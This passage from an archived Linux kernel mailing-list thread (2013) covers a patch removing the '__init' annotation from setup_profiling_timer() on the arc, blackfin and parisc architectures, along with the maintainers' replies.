>   This is often because write_profile lacks a __init
>   annotation or the annotation of setup_profiling_timer is wrong.
>
>
> Signed-off-by: Chen Gang <gang.chen@asianux.com>
> ---
>  arch/arc/kernel/smp.c          |    2 +-
>  arch/blackfin/mach-bf561/smp.c |    2 +-
>  arch/parisc/kernel/smp.c       |    2 +-
>  3 files changed, 3 insertions(+), 3 deletions(-)
>
> diff --git a/arch/arc/kernel/smp.c b/arch/arc/kernel/smp.c
> index bca3052..3bdac11 100644
> --- a/arch/arc/kernel/smp.c
> +++ b/arch/arc/kernel/smp.c
> @@ -187,7 +187,7 @@ int __cpu_up(unsigned int cpu, struct task_struct *idle)
>  /*
>   * not supported here
>   */
> -int __init setup_profiling_timer(unsigned int multiplier)
> +int setup_profiling_timer(unsigned int multiplier)
>  {
>  	return -EINVAL;
>  }
> diff --git a/arch/blackfin/mach-bf561/smp.c b/arch/blackfin/mach-bf561/smp.c
> index 11789be..3bef058 100644
> --- a/arch/blackfin/mach-bf561/smp.c
> +++ b/arch/blackfin/mach-bf561/smp.c
> @@ -43,7 +43,7 @@ void __init platform_prepare_cpus(unsigned int max_cpus)
>  	init_cpu_present(&mask);
>  }
>  
> -int __init setup_profiling_timer(unsigned int multiplier) /* not supported */
> +int setup_profiling_timer(unsigned int multiplier) /* not supported */
>  {
>  	return -EINVAL;
>  }
> diff --git a/arch/parisc/kernel/smp.c b/arch/parisc/kernel/smp.c
> index 8a252f2..2e8cd36 100644
> --- a/arch/parisc/kernel/smp.c
> +++ b/arch/parisc/kernel/smp.c
> @@ -433,7 +433,7 @@ int __cpu_up(unsigned int cpu, struct task_struct *tidle)
>  }
>  
>  #ifdef CONFIG_PROC_FS
> -int __init
> +int
>  setup_profiling_timer(unsigned int multiplier)
>  {
>  	return -EINVAL;

In theory this change is OK. However this is legacy code at best and it would be
better to define a weak definition in kernel/profile.c and remove this cruft from
relevant arches. I'll send out a patch.

-Vineet
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chen Gang <gang.chen@asianux.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.parisc
Subject: Re: [PATCH] arch: *: remove '__init' for setup_profiling_timer()
Date: Thu, 31 Oct 2013 14:11:53 +0800
Lines: 74
Approved: news@gmane.org
Message-ID: <5271F4A9.40804@asianux.com>
References: <52672ECD.9010800@asianux.com> <C2D7FE5348E1B147BCA15975FBA23075153861@IN01WEMBXA.internal.synopsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1383200005 11206 80.91.229.3 (31 Oct 2013 06:13:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 31 Oct 2013 06:13:25 +0000 (UTC)
Cc: "linux-arch@vger.kernel.org" <linux-arch@vger.kernel.org>,
	Mike Frysinger <vapier@gentoo.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, Arnd Bergmann <arnd@arndb.de>,
	Thomas Gleixner <tglx@linutronix.de>,
	Paul Gortmaker <paul.gortmaker@windriver.com>,
	"Srivatsa S. Bhat" <srivatsa.bhat@linux.vnet.ibm.com>,
	realmz paranoid <realmz6@gmail.com>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	"uclinux-dist-devel@blackfin.uclinux.org" 
	<uclinux-dist-devel@blackfin.uclinux.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Andrew Morton <akpm@linux-foundation.org>
To: Vineet Gupta <Vineet.Gupta1@synopsys.com>
Original-X-From: linux-arch-owner@vger.kernel.org Thu Oct 31 07:13:27 2013
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1VblVW-0001c1-8q
	for glka-linux-arch@plane.gmane.org; Thu, 31 Oct 2013 07:13:26 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751873Ab3JaGM6 (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Thu, 31 Oct 2013 02:12:58 -0400
Original-Received: from intranet.asianux.com ([58.214.24.6]:55930 "EHLO
	intranet.asianux.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750845Ab3JaGM6 (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Thu, 31 Oct 2013 02:12:58 -0400
Original-Received: by intranet.asianux.com (Postfix, from userid 103)
	id 1D3A6184039A; Thu, 31 Oct 2013 14:12:56 +0800 (CST)
X-Spam-Score: -100.8
X-Spam-Checker-Version: SpamAssassin 3.1.9 (2007-02-13) on intranet.asianux.com
X-Spam-Level: 
X-Spam-Status: No, score=-100.8 required=5.0 tests=AWL,BAYES_00,
	RATWARE_GECKO_BUILD,USER_IN_WHITELIST autolearn=no version=3.1.9
Original-Received: from [10.1.100.108] (unknown [61.148.203.198])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by intranet.asianux.com (Postfix) with ESMTP id BC0FD1840241;
	Thu, 31 Oct 2013 14:12:54 +0800 (CST)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130110 Thunderbird/17.0.2
In-Reply-To: <C2D7FE5348E1B147BCA15975FBA23075153861@IN01WEMBXA.internal.synopsys.com>
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:20037 gmane.linux.kernel:1587861 gmane.linux.hardware.blackfin.kernel.devel:7417 gmane.linux.ports.parisc:5435
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/20037>

On 10/31/2013 01:45 PM, Vineet Gupta wrote:
> On 10/23/2013 07:36 AM, Chen Gang wrote:
>> Most of architectures not use '__init' for setup_profiling_timer(), so
>> need remove it, or can generate warning (e.g. arc with allmodconfig):
>>
>>     MODPOST vmlinux.o
>>   WARNING: vmlinux.o(.text+0x3c682): Section mismatch in reference from the function write_profile() to the function .init.text:setup_profiling_timer()
>>   The function write_profile() references
>>   the function __init setup_profiling_timer().
>>   This is often because write_profile lacks a __init
>>   annotation or the annotation of setup_profiling_timer is wrong.
>>
>>
>> Signed-off-by: Chen Gang <gang.chen@asianux.com>
>> ---
>>  arch/arc/kernel/smp.c          |    2 +-
>>  arch/blackfin/mach-bf561/smp.c |    2 +-
>>  arch/parisc/kernel/smp.c       |    2 +-
>>  3 files changed, 3 insertions(+), 3 deletions(-)
>>
>> diff --git a/arch/arc/kernel/smp.c b/arch/arc/kernel/smp.c
>> index bca3052..3bdac11 100644
>> --- a/arch/arc/kernel/smp.c
>> +++ b/arch/arc/kernel/smp.c
>> @@ -187,7 +187,7 @@ int __cpu_up(unsigned int cpu, struct task_struct *idle)
>>  /*
>>   * not supported here
>>   */
>> -int __init setup_profiling_timer(unsigned int multiplier)
>> +int setup_profiling_timer(unsigned int multiplier)
>>  {
>>  	return -EINVAL;
>>  }
>> diff --git a/arch/blackfin/mach-bf561/smp.c b/arch/blackfin/mach-bf561/smp.c
>> index 11789be..3bef058 100644
>> --- a/arch/blackfin/mach-bf561/smp.c
>> +++ b/arch/blackfin/mach-bf561/smp.c
>> @@ -43,7 +43,7 @@ void __init platform_prepare_cpus(unsigned int max_cpus)
>>  	init_cpu_present(&mask);
>>  }
>>  
>> -int __init setup_profiling_timer(unsigned int multiplier) /* not supported */
>> +int setup_profiling_timer(unsigned int multiplier) /* not supported */
>>  {
>>  	return -EINVAL;
>>  }
>> diff --git a/arch/parisc/kernel/smp.c b/arch/parisc/kernel/smp.c
>> index 8a252f2..2e8cd36 100644
>> --- a/arch/parisc/kernel/smp.c
>> +++ b/arch/parisc/kernel/smp.c
>> @@ -433,7 +433,7 @@ int __cpu_up(unsigned int cpu, struct task_struct *tidle)
>>  }
>>  
>>  #ifdef CONFIG_PROC_FS
>> -int __init
>> +int
>>  setup_profiling_timer(unsigned int multiplier)
>>  {
>>  	return -EINVAL;
> 
> In theory this change is OK. However this is legacy code at best and it would be
> better to define a weak definition in kernel/profile.c and remove this cruft from
> relevant arches. I'll send out a patch.
> 

That sounds good to me.

> -Vineet
> 
> 


-- 
Chen Gang

From - Thu Nov 08 21:09:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chen Gang <gang.chen@asianux.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.parisc
Subject: Re: [PATCH] arch: *: remove '__init' for setup_profiling_timer()
Date: Thu, 31 Oct 2013 14:14:39 +0800
Lines: 76
Approved: news@gmane.org
Message-ID: <5271F54F.8070607@asianux.com>
References: <52672ECD.9010800@asianux.com> <C2D7FE5348E1B147BCA15975FBA23075153861@IN01WEMBXA.internal.synopsys.com> <5271F4A9.40804@asianux.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1383200146 12693 80.91.229.3 (31 Oct 2013 06:15:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 31 Oct 2013 06:15:46 +0000 (UTC)
Cc: "linux-arch@vger.kernel.org" <linux-arch@vger.kernel.org>,
	Mike Frysinger <vapier@gentoo.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, Arnd Bergmann <arnd@arndb.de>,
	Thomas Gleixner <tglx@linutronix.de>,
	Paul Gortmaker <paul.gortmaker@windriver.com>,
	"Srivatsa S. Bhat" <srivatsa.bhat@linux.vnet.ibm.com>,
	realmz paranoid <realmz6@gmail.com>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	"uclinux-dist-devel@blackfin.uclinux.org" 
	<uclinux-dist-devel@blackfin.uclinux.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Andrew Morton <akpm@linux-foundation.org>
To: Vineet Gupta <Vineet.Gupta1@synopsys.com>
Original-X-From: linux-arch-owner@vger.kernel.org Thu Oct 31 07:15:48 2013
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1VblXo-0001hx-Cu
	for glka-linux-arch@plane.gmane.org; Thu, 31 Oct 2013 07:15:48 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752771Ab3JaGPr (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Thu, 31 Oct 2013 02:15:47 -0400
Original-Received: from intranet.asianux.com ([58.214.24.6]:2145 "EHLO
	intranet.asianux.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752003Ab3JaGPq (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Thu, 31 Oct 2013 02:15:46 -0400
Original-Received: by intranet.asianux.com (Postfix, from userid 103)
	id 2B0FB1840241; Thu, 31 Oct 2013 14:15:42 +0800 (CST)
X-Spam-Score: -100.8
X-Spam-Checker-Version: SpamAssassin 3.1.9 (2007-02-13) on intranet.asianux.com
X-Spam-Level: 
X-Spam-Status: No, score=-100.8 required=5.0 tests=AWL,BAYES_00,
	RATWARE_GECKO_BUILD,USER_IN_WHITELIST autolearn=no version=3.1.9
Original-Received: from [10.1.100.108] (unknown [61.148.203.198])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by intranet.asianux.com (Postfix) with ESMTP id 8CB8A1840241;
	Thu, 31 Oct 2013 14:15:40 +0800 (CST)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130110 Thunderbird/17.0.2
In-Reply-To: <5271F4A9.40804@asianux.com>
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:20038 gmane.linux.kernel:1587863 gmane.linux.hardware.blackfin.kernel.devel:7418 gmane.linux.ports.parisc:5436
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/20038>

On 10/31/2013 02:11 PM, Chen Gang wrote:
> On 10/31/2013 01:45 PM, Vineet Gupta wrote:
>> On 10/23/2013 07:36 AM, Chen Gang wrote:
>>> Most of architectures not use '__init' for setup_profiling_timer(), so
>>> need remove it, or can generate warning (e.g. arc with allmodconfig):
>>>
>>>     MODPOST vmlinux.o
>>>   WARNING: vmlinux.o(.text+0x3c682): Section mismatch in reference from the function write_profile() to the function .init.text:setup_profiling_timer()
>>>   The function write_profile() references
>>>   the function __init setup_profiling_timer().
>>>   This is often because write_profile lacks a __init
>>>   annotation or the annotation of setup_profiling_timer is wrong.
>>>
>>>
>>> Signed-off-by: Chen Gang <gang.chen@asianux.com>
>>> ---
>>>  arch/arc/kernel/smp.c          |    2 +-
>>>  arch/blackfin/mach-bf561/smp.c |    2 +-
>>>  arch/parisc/kernel/smp.c       |    2 +-
>>>  3 files changed, 3 insertions(+), 3 deletions(-)
>>>
>>> diff --git a/arch/arc/kernel/smp.c b/arch/arc/kernel/smp.c
>>> index bca3052..3bdac11 100644
>>> --- a/arch/arc/kernel/smp.c
>>> +++ b/arch/arc/kernel/smp.c
>>> @@ -187,7 +187,7 @@ int __cpu_up(unsigned int cpu, struct task_struct *idle)
>>>  /*
>>>   * not supported here
>>>   */
>>> -int __init setup_profiling_timer(unsigned int multiplier)
>>> +int setup_profiling_timer(unsigned int multiplier)
>>>  {
>>>  	return -EINVAL;
>>>  }
>>> diff --git a/arch/blackfin/mach-bf561/smp.c b/arch/blackfin/mach-bf561/smp.c
>>> index 11789be..3bef058 100644
>>> --- a/arch/blackfin/mach-bf561/smp.c
>>> +++ b/arch/blackfin/mach-bf561/smp.c
>>> @@ -43,7 +43,7 @@ void __init platform_prepare_cpus(unsigned int max_cpus)
>>>  	init_cpu_present(&mask);
>>>  }
>>>  
>>> -int __init setup_profiling_timer(unsigned int multiplier) /* not supported */
>>> +int setup_profiling_timer(unsigned int multiplier) /* not supported */
>>>  {
>>>  	return -EINVAL;
>>>  }
>>> diff --git a/arch/parisc/kernel/smp.c b/arch/parisc/kernel/smp.c
>>> index 8a252f2..2e8cd36 100644
>>> --- a/arch/parisc/kernel/smp.c
>>> +++ b/arch/parisc/kernel/smp.c
>>> @@ -433,7 +433,7 @@ int __cpu_up(unsigned int cpu, struct task_struct *tidle)
>>>  }
>>>  
>>>  #ifdef CONFIG_PROC_FS
>>> -int __init
>>> +int
>>>  setup_profiling_timer(unsigned int multiplier)
>>>  {
>>>  	return -EINVAL;
>>
>> In theory this change is OK. However this is legacy code at best and it would be
>> better to define a weak definition in kernel/profile.c and remove this cruft from
>> relevant arches. I'll send out a patch.
>>
> 
> That sounds good to me.
> 

Hmm... if so, recommend to modify another architectures which also only
return "-EINVAL", but without "__init" prefix.


Thanks.
-- 
Chen Gang

From - Thu Nov 08 21:09:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Vineet Gupta <Vineet.Gupta1@synopsys.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.parisc
Subject: Re: [PATCH] arch: *: remove '__init' for setup_profiling_timer()
Date: Thu, 31 Oct 2013 06:22:26 +0000
Lines: 10
Approved: news@gmane.org
Message-ID: <C2D7FE5348E1B147BCA15975FBA230751538BE@IN01WEMBXA.internal.synopsys.com>
References: <52672ECD.9010800@asianux.com>
 <C2D7FE5348E1B147BCA15975FBA23075153861@IN01WEMBXA.internal.synopsys.com>
 <5271F4A9.40804@asianux.com> <5271F54F.8070607@asianux.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1383200579 17429 80.91.229.3 (31 Oct 2013 06:22:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 31 Oct 2013 06:22:59 +0000 (UTC)
Cc: "linux-arch@vger.kernel.org" <linux-arch@vger.kernel.org>,
	Mike Frysinger <vapier@gentoo.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	"Helge Deller" <deller@gmx.de>, Arnd Bergmann <arnd@arndb.de>,
	Thomas Gleixner <tglx@linutronix.de>,
	Paul Gortmaker <paul.gortmaker@windriver.com>,
	"Srivatsa S. Bhat" <srivatsa.bhat@linux.vnet.ibm.com>,
	realmz paranoid <realmz6@gmail.com>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	"uclinux-dist-devel@blackfin.uclinux.org" 
	<uclinux-dist-devel@blackfin.uclinux.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Andrew Morton <akpm@linux-foundation.org>
To: Chen Gang <gang.chen@asianux.com>
Original-X-From: linux-arch-owner@vger.kernel.org Thu Oct 31 07:23:02 2013
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1Vblen-0004lg-Cd
	for glka-linux-arch@plane.gmane.org; Thu, 31 Oct 2013 07:23:01 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751667Ab3JaGWh (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Thu, 31 Oct 2013 02:22:37 -0400
Original-Received: from us01smtp2.synopsys.com ([198.182.44.80]:54686 "EHLO
	kiruna.synopsys.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750855Ab3JaGWg convert rfc822-to-8bit (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Thu, 31 Oct 2013 02:22:36 -0400
Original-Received: from WBSNus02mta1 (us02secmta1.synopsys.com [10.12.235.96])
	by kiruna.synopsys.com (Postfix) with ESMTP id E098CF29E;
	Wed, 30 Oct 2013 23:22:33 -0700 (PDT)
Original-Received: from us02secmta1.internal.synopsys.com (us02secmta1.internal.synopsys.com [127.0.0.1])
	by us02secmta1.internal.synopsys.com (Service) with ESMTP id CC3054E213;
	Wed, 30 Oct 2013 23:22:33 -0700 (PDT)
Original-Received: from mailhost.synopsys.com (mailhost1.synopsys.com [10.12.238.239])
	by us02secmta1.internal.synopsys.com (Service) with ESMTP id 816AF4E202;
	Wed, 30 Oct 2013 23:22:33 -0700 (PDT)
Original-Received: from mailhost.synopsys.com (localhost [127.0.0.1])
	by mailhost.synopsys.com (Postfix) with ESMTP id 6A4A55B3;
	Wed, 30 Oct 2013 23:22:33 -0700 (PDT)
Original-Received: from us01wehtc1.internal.synopsys.com (us01wehtc1-vip.internal.synopsys.com [10.12.239.236])
	by mailhost.synopsys.com (Postfix) with ESMTP id F1CC15A5;
	Wed, 30 Oct 2013 23:22:32 -0700 (PDT)
Original-Received: from IN01WEHTCB.internal.synopsys.com (10.144.199.105) by
 us01wehtc1.internal.synopsys.com (10.12.239.235) with Microsoft SMTP Server
 (TLS) id 14.2.298.4; Wed, 30 Oct 2013 23:22:32 -0700
Original-Received: from IN01WEMBXA.internal.synopsys.com ([fe80::ed6f:22d3:d35:4833])
 by IN01WEHTCB.internal.synopsys.com ([::1]) with mapi id 14.02.0298.004; Thu,
 31 Oct 2013 11:52:28 +0530
Thread-Topic: [PATCH] arch: *: remove '__init' for setup_profiling_timer()
Thread-Index: AQHOz5Rzfa7H6x8+K0mEPsxJa/nqdw==
Accept-Language: en-US, en-IN
Content-Language: en-US
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
x-originating-ip: [10.12.239.237]
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:20039 gmane.linux.kernel:1587864 gmane.linux.hardware.blackfin.kernel.devel:7419 gmane.linux.ports.parisc:5437
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/20039>

On 10/31/2013 11:45 AM, Chen Gang wrote:
> Hmm... if so, recommend to modify another architectures which also only
> return "-EINVAL", but without "__init" prefix.

Yes in first pass, it will only convert the arches which return EINVAL but can ask
the maintainers whether they want the alternate versions too.

So you want to take a stab at this series.

-Vineet

From - Thu Nov 08 21:09:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chen Gang <gang.chen@asianux.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.hardware.blackfin.kernel.devel,gmane.linux.ports.parisc
Subject: Re: [PATCH] arch: *: remove '__init' for setup_profiling_timer()
Date: Thu, 31 Oct 2013 14:36:46 +0800
Lines: 21
Approved: news@gmane.org
Message-ID: <5271FA7E.9050103@asianux.com>
References: <52672ECD.9010800@asianux.com> <C2D7FE5348E1B147BCA15975FBA23075153861@IN01WEMBXA.internal.synopsys.com> <5271F4A9.40804@asianux.com> <5271F54F.8070607@asianux.com> <C2D7FE5348E1B147BCA15975FBA230751538BE@IN01WEMBXA.internal.synopsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1383201470 24902 80.91.229.3 (31 Oct 2013 06:37:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 31 Oct 2013 06:37:50 +0000 (UTC)
Cc: "linux-arch@vger.kernel.org" <linux-arch@vger.kernel.org>,
	Mike Frysinger <vapier@gentoo.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, Arnd Bergmann <arnd@arndb.de>,
	Thomas Gleixner <tglx@linutronix.de>,
	Paul Gortmaker <paul.gortmaker@windriver.com>,
	"Srivatsa S. Bhat" <srivatsa.bhat@linux.vnet.ibm.com>,
	realmz paranoid <realmz6@gmail.com>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	"uclinux-dist-devel@blackfin.uclinux.org" 
	<uclinux-dist-devel@blackfin.uclinux.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Andrew Morton <akpm@linux-foundation.org>
To: Vineet Gupta <Vineet.Gupta1@synopsys.com>
Original-X-From: linux-arch-owner@vger.kernel.org Thu Oct 31 07:37:51 2013
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1Vblt8-0001dV-MJ
	for glka-linux-arch@plane.gmane.org; Thu, 31 Oct 2013 07:37:51 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752732Ab3JaGht (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Thu, 31 Oct 2013 02:37:49 -0400
Original-Received: from intranet.asianux.com ([58.214.24.6]:59446 "EHLO
	intranet.asianux.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752691Ab3JaGhs (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Thu, 31 Oct 2013 02:37:48 -0400
Original-Received: by intranet.asianux.com (Postfix, from userid 103)
	id 520EF1840282; Thu, 31 Oct 2013 14:37:47 +0800 (CST)
X-Spam-Score: -100.8
X-Spam-Checker-Version: SpamAssassin 3.1.9 (2007-02-13) on intranet.asianux.com
X-Spam-Level: 
X-Spam-Status: No, score=-100.8 required=5.0 tests=AWL,BAYES_00,
	RATWARE_GECKO_BUILD,USER_IN_WHITELIST autolearn=no version=3.1.9
Original-Received: from [10.1.100.108] (unknown [61.148.203.198])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by intranet.asianux.com (Postfix) with ESMTP id A42111840274;
	Thu, 31 Oct 2013 14:37:46 +0800 (CST)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130110 Thunderbird/17.0.2
In-Reply-To: <C2D7FE5348E1B147BCA15975FBA230751538BE@IN01WEMBXA.internal.synopsys.com>
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:20052 gmane.linux.kernel:1587874 gmane.linux.hardware.blackfin.kernel.devel:7420 gmane.linux.ports.parisc:5438
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/20052>

On 10/31/2013 02:22 PM, Vineet Gupta wrote:
> On 10/31/2013 11:45 AM, Chen Gang wrote:
>> > Hmm... if so, recommend to modify another architectures which also only
>> > return "-EINVAL", but without "__init" prefix.
> Yes in first pass, it will only convert the arches which return EINVAL but can ask
> the maintainers whether they want the alternate versions too.
> 

Yes.

> So you want to take a stab at this series.

If you have time, please help send.

In 1st half of next month, I will/should turn back to do another things
(e.g. use test tools and read code to find issues, and try to solve them).


Thanks.
-- 
Chen Gang

From - Thu Nov 08 21:09:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chen Gang <gang.chen@asianux.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH] arch: * : include: asm: remove empty SERIAL_PORT_DFNS in
 serial.h
Date: Thu, 31 Oct 2013 15:37:46 +0800
Lines: 28
Approved: news@gmane.org
Message-ID: <527208CA.3000007@asianux.com>
References: <5267406C.9030805@asianux.com> <20131025052926.GA26786@kroah.com> <526BC113.3040003@asianux.com> <5271B1D2.6020301@asianux.com> <C2D7FE5348E1B147BCA15975FBA230751538D9@IN01WEMBXA.internal.synopsys.com> <527202EF.6080704@asianux.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1383205136 28359 80.91.229.3 (31 Oct 2013 07:38:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 31 Oct 2013 07:38:56 +0000 (UTC)
Cc: Vineet Gupta <Vineet.Gupta1@synopsys.com>,
	"w.d.hubbs@gmail.com" <w.d.hubbs@gmail.com>,
	"chris@the-brannons.com" <chris@the-brannons.com>,
	"kirk@reisers.ca" <kirk@reisers.ca>,
	"samuel.thibault@ens-lyon.org" <samuel.thibault@ens-lyon.org>,
	"devel@driverdev.osuosl.org" <devel@driverdev.osuosl.org>,
	"speakup@braille.uwo.ca" <speakup@braille.uwo.ca>
To: Greg KH <gregkh@linuxfoundation.org>,
	"dhowells@redhat.com" <dhowells@redhat.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 31 08:38:55 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VbmqD-0007T0-RO
	for glpp-linux-parisc@plane.gmane.org; Thu, 31 Oct 2013 08:38:54 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752084Ab3JaHiw (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 31 Oct 2013 03:38:52 -0400
Original-Received: from intranet.asianux.com ([58.214.24.6]:18420 "EHLO
	intranet.asianux.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752053Ab3JaHiw (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 31 Oct 2013 03:38:52 -0400
Original-Received: by intranet.asianux.com (Postfix, from userid 103)
	id ED13B18403A3; Thu, 31 Oct 2013 15:38:47 +0800 (CST)
X-Spam-Score: -100.8
X-Spam-Checker-Version: SpamAssassin 3.1.9 (2007-02-13) on intranet.asianux.com
X-Spam-Level: 
